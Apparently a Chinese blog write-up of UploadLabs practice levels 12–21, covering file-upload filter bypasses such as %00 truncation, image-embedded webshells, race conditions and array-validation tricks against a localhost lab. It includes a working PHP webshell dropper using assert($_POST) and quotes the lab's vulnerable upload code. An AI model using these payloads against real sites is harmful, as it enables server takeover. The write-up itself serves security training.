UploadLabs Less12-21

白名单绕过

Less-12-%00截断(GET路径)

失败-我的php版本高于5.3.29

%00截断条件

php版本小于5.3.29   修改php.ini的magic_quotes_gpc为OFF状态

GET保存路径%00截断-加%00把保存路径%00后面的截断

Less-13-%00截断(POST路径)

失败-我的bp无法将%00 url解码成口及我的php版本高于5.3.29

.POST保存路径%00进行url解码,变成口 

GET会自动解码,将空格变为%20

POST不会解码

%00右键

Less-14-图片木马

图片木马,png好点,得有文件包含路径漏洞才能用

制作图片马:copy web.png /b + shell.php /a webshell.png web.png

 也可以使用notepad++打开图片在最后加入木马

 http://127.0.0.1/upload-labs-master/include.php?file=upload/3620220726144603.png

Less-15-图片木马

得到图片信息,图片马

 与14关同样的手法

Less-16-图片木马

这个靶场出现bug,换一个靶场

 与14关同样的手法

Less-17-条件竞争

抓包

 

 开始攻击,换个浏览器不断访问

http://127.0.0.1/upload-labs-master/include.php?file=upload/webshell.png

Less-18-二次渲染-条件竞争

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错!';
    }
}

创建x.php

<?php file_put_contents('shell.php','<?php @assert($_POST['x']);?>'); ?>

上传抓包

 访问127.0.0.1/upload-labs-master/upload/x.php,抓包

 都修改有效载荷

 

 

 两个同时攻击,目录出现shell.php成功

Less-19-图片马文件包含

可以用14关的做法,上传图片马配合文件包含漏洞

需要注意文件上传到upload的上一级目录下

 

Less-20-文件夹方式上传

文件夹方式上传- 在文件夹路径下改为upload-19.php/.

                                                            upload-19.php%00.jpg (%00解码)

 抓包修改文件夹路径

改为

上传成功

 Less-21-数组验证

$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
    //检查MIME
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
        $msg = "禁止上传该类型文件!";
    }else{
        //检查文件名
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
        if (!is_array($file)) {
            $file = explode('.', strtolower($file));
        }

        $ext = end($file);
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix)) {
            $msg = "禁止上传该后缀文件!";
        }else{
            $file_name = reset($file) . '.' . $file[count($file) - 1];
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "文件上传成功!";
                $is_upload = true;
            } else {
                $msg = "文件上传失败!";
            }
        }
    }
}else{
    $msg = "请选择要上传的文件!";
}

xxx.php/.更保险抓包进行修改

 

xxx.php上传成功

 

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值